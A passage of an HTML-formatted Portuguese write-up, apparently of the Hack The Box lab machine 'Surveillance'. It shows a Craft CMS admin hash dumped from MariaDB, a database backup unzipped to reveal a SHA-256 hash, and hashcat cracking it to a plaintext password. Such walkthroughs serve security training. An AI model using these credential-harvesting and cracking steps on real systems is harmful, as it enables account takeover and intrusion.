&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;                         &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;             &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NO&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;PRI&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;photoId&lt;/span&gt;                    &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;             &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;MUL&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;active&lt;/span&gt;                     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;tinyint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NO&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;MUL&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;pending&lt;/span&gt;                    &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;tinyint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NO&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;MUL&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;locked&lt;/span&gt;                     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;tinyint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NO&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;MUL&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;suspended&lt;/span&gt;                  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;tinyint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NO&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;MUL&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;                      &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;tinyint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NO&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;                   &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;MUL&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;fullName&lt;/span&gt;                   &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;firstName&lt;/span&gt;                  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;lastName&lt;/span&gt;                   &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;                      &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;MUL&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;                   &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;lastLoginDate&lt;/span&gt;              &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;datetime&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;lastLoginAttemptIp&lt;/span&gt;         &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;45&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;         &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;invalidLoginWindowStart&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;datetime&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;invalidLoginCount&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;tinyint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;unsigned&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;lastInvalidLoginDate&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;datetime&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;lockoutDate&lt;/span&gt;                &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;datetime&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;hasDashboard&lt;/span&gt;               &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;tinyint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NO&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;verificationCode&lt;/span&gt;           &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;MUL&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;verificationCodeIssuedDate&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;datetime&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;unverifiedEmail&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;varchar&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;        &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;passwordResetRequired&lt;/span&gt;      &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;tinyint&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;          &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NO&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;lastPasswordChangeDate&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;datetime&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;YES&lt;/span&gt;  &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;dateCreated&lt;/span&gt;                &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;datetime&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NO&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;dateUpdated&lt;/span&gt;                &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="nb"&gt;datetime&lt;/span&gt;            &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NO&lt;/span&gt;   &lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;NULL&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt;       &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;----------------------------+---------------------+------+-----+---------+-------+&lt;/span&gt;
&lt;span class="mi"&gt;27&lt;/span&gt; &lt;span class="k"&gt;rows&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="k"&gt;set&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;001&lt;/span&gt; &lt;span class="n"&gt;sec&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;MariaDB&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;craftdb&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;select&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;email&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="n"&gt;users&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;-------+----------+------------------------+--------------------------------------------------------------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;email&lt;/span&gt;                  &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;                                                     &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;-------+----------+------------------------+--------------------------------------------------------------+&lt;/span&gt;
&lt;span class="o"&gt;|&lt;/span&gt;     &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;    &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="k"&gt;admin&lt;/span&gt;&lt;span class="o"&gt;@&lt;/span&gt;&lt;span class="n"&gt;surveillance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;htb&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="n"&gt;FoVGcLXXNe81B6x9bKry9OzGSSIYL7&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;ObcmQ0CXtgw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;EpuNcx8tGe&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt;
&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="c1"&gt;-------+----------+------------------------+--------------------------------------------------------------+&lt;/span&gt;
&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="k"&gt;row&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="k"&gt;set&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="mi"&gt;000&lt;/span&gt; &lt;span class="n"&gt;sec&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;No entanto, não tivemos sucesso tentando quebrar a hash de usuário.&lt;br&gt;&lt;br&gt;
Continuando a enumeração localizamos um arquivo de backup do banco de dados:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@surveillance:/var/www/html/craft/storage&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;backups/
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@surveillance:/var/www/html/craft/storage/backups&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-alh&lt;/span&gt;
total 28K
drwxrwxr-x 2 www-data www-data 4.0K Oct 17 20:33 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 6 www-data www-data 4.0K Oct 11 20:12 ..
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 root     root      20K Oct 17 20:33 surveillance--2023-10-17-202801--v4.4.14.sql.zip
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@surveillance:/var/www/html/craft/storage/backups&lt;span class="nv"&gt;$ &lt;/span&gt;unzip surveillance--2023-10-17-202801--v4.4.14.sql.zip
Archive:  surveillance--2023-10-17-202801--v4.4.14.sql.zip
  inflating: surveillance--2023-10-17-202801--v4.4.14.sql
&lt;span class="o"&gt;(&lt;/span&gt;remote&lt;span class="o"&gt;)&lt;/span&gt; www-data@surveillance:/var/www/html/craft/storage/backups&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-alh&lt;/span&gt;
total 140K
drwxrwxr-x 2 www-data www-data 4.0K Dec 12 02:17 &lt;span class="nb"&gt;.&lt;/span&gt;
drwxr-xr-x 6 www-data www-data 4.0K Oct 11 20:12 ..
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 www-data www-data 111K Oct 17 20:33 surveillance--2023-10-17-202801--v4.4.14.sql
&lt;span class="nt"&gt;-rw-r--r--&lt;/span&gt; 1 root     root      20K Oct 17 20:33 surveillance--2023-10-17-202801--v4.4.14.sql.zip

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;E aqui temos outro tipo de hash para o usuário:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;INSERT INTO &lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="nb"&gt;users&lt;/span&gt;&lt;span class="sb"&gt;`&lt;/span&gt; VALUES &lt;span class="o"&gt;(&lt;/span&gt;1,NULL,1,0,0,0,1,&lt;span class="s1"&gt;'admin'&lt;/span&gt;,&lt;span class="s1"&gt;'Matthew B'&lt;/span&gt;,&lt;span class="s1"&gt;'Matthew'&lt;/span&gt;,&lt;span class="s1"&gt;'B'&lt;/span&gt;,&lt;span class="s1"&gt;'admin@surveillance.htb'&lt;/span&gt;,&lt;span class="s1"&gt;'39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec'&lt;/span&gt;,&lt;span class="s1"&gt;'2023-10-17 20:22:34'&lt;/span&gt;,NULL,NULL,NULL,&lt;span class="s1"&gt;'2023-10-11 18:58:57'&lt;/span&gt;,NULL,1,NULL,NULL,NULL,0,&lt;span class="s1"&gt;'2023-10-17 20:27:46'&lt;/span&gt;,&lt;span class="s1"&gt;'2023-10-11 17:57:16'&lt;/span&gt;,&lt;span class="s1"&gt;'2023-10-17 20:27:46'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Esse tipo de hash é o &lt;strong&gt;SHA256&lt;/strong&gt; e aqui podemos utilizar o hashcat para quebrar a senha, utilizando o valor &lt;strong&gt;1400&lt;/strong&gt; para o tipo de hash e especificando a wordlist &lt;strong&gt;rockyou.txt&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[/home/kali/hackthebox/machines-linux/surveillance]
└─# hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 1400 matthew-hash /usr/share/wordlists/rockyou.txt
hashcat &lt;span class="o"&gt;(&lt;/span&gt;v6.2.6&lt;span class="o"&gt;)&lt;/span&gt; starting
...

Dictionary cache hit:
&lt;span class="k"&gt;*&lt;/span&gt; Filename..: /usr/share/wordlists/rockyou.txt
&lt;span class="k"&gt;*&lt;/span&gt; Passwords.: 14344389
&lt;span class="k"&gt;*&lt;/span&gt; Bytes.....: 139921546
&lt;span class="k"&gt;*&lt;/span&gt; Keyspace..: 14344389

39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec:starcraft122490

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 &lt;span class="o"&gt;(&lt;/span&gt;SHA2-256&lt;span class="o"&gt;)&lt;/span&gt;
Hash.Target......: 39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c...5770ec
Time.Started.....: Mon Dec 11 21:32:28 2023 &lt;span class="o"&gt;(&lt;/span&gt;2 secs&lt;span class="o"&gt;)&lt;/span&gt;
Time.Estimated...: Mon Dec 11 21:32:30 2023 &lt;span class="o"&gt;(&lt;/span&gt;0 secs&lt;span class="o"&gt;)&lt;/span&gt;
Kernel.Feature...: Pure Kernel
Guess.Base.......: File &lt;span class="o"&gt;(&lt;/span&gt;/usr/share/wordlists/rockyou.txt&lt;span class="o"&gt;)&lt;/span&gt;
Guess.Queue......: 1/1 &lt;span class="o"&gt;(&lt;/span&gt;100.00%&lt;span class="o"&gt;)&lt;/span&gt;
Speed.#1.........:  1596.7 kH/s &lt;span class="o"&gt;(&lt;/span&gt;0.13ms&lt;span class="o"&gt;)&lt;/span&gt; @ Accel:256 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 &lt;span class="o"&gt;(&lt;/span&gt;100.00%&lt;span class="o"&gt;)&lt;/span&gt; Digests &lt;span class="o"&gt;(&lt;/span&gt;total&lt;span class="o"&gt;)&lt;/span&gt;, 1/1 &lt;span class="o"&gt;(&lt;/span&gt;100.00%&lt;span class="o"&gt;)&lt;/span&gt; Digests &lt;span class="o"&gt;(&lt;/span&gt;new&lt;span class="o"&gt;)&lt;/span&gt;
Progress.........: 3552256/14344389 &lt;span class="o"&gt;(&lt;/span&gt;24.76%&lt;span class="o"&gt;)&lt;/span&gt;
Rejected.........: 0/3552256 &lt;span class="o"&gt;(&lt;/span&gt;0.00%&lt;span class="o"&gt;)&lt;/span&gt;
Restore.Point....: 3551232/14344389 &lt;span class="o"&gt;(&lt;/span&gt;24.76%&lt;span class="o"&gt;)&lt;/span&gt;
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
